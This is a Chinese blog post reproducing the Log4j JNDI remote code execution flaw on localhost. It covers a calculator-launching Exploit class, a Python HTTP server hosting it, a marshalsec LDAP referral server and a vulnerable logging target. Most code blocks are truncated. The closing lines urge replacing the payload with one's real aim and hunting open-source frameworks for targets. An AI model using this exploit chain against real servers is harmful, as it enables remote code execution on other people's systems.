前段时间的Log4J漏洞复现
Log4j这个漏洞的原理其实非常简单,就是logger在执行日志的时候,如果中间有表达式,就会被执行,如果这个表达式是JNDI就会去远程下载文件到本地执行,复现方式非常简单:
先写一个类:
public class Exploit { |
这个类的作用是调用本地的计算器,直接运行也会弹出计算器的调用结果,把这个Java编译成Class,在这个class的目录执行:
python3 -m http.server 8100 |
会利用python启动一个http服务,开启在8100端口,这个服务的作用是下载这个class,你直接访问这个地址也能直接下载这个文件。
接着开启一个LDAP服务,利用JDNI反射的方式去调用LDAP,怎么开启LDAP服务呢,不想那么麻烦直接使用一个Java工具即可:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit" |
启动后会有如下输出:
Listening on 0.0.0.0:1389 |
有了上面步骤,攻击的环境已经准备好了,只需要寻找目标,自己写一个目标:
package com.fcbai.log4j.example; |
运行上面的代码,会直接弹出计算器的框,有了这个case,那要攻击就方便多了,两个步骤:
- Exploit的代码写成你自己真正想干的事,而不是调用一个计算。
- 寻找服务器可能的API,也就是哪些API可能会输出Log,这样你可以在很多开源框架里面到处找,就能找到一大波开源框架漏洞,反是用了这个框架的,你就可以选择
合适
的方式去发起请求。
如此而已。
具体的代码请看:https://github.com/baifachuan/log4j-bug-reproduction
扫码手机观看或分享: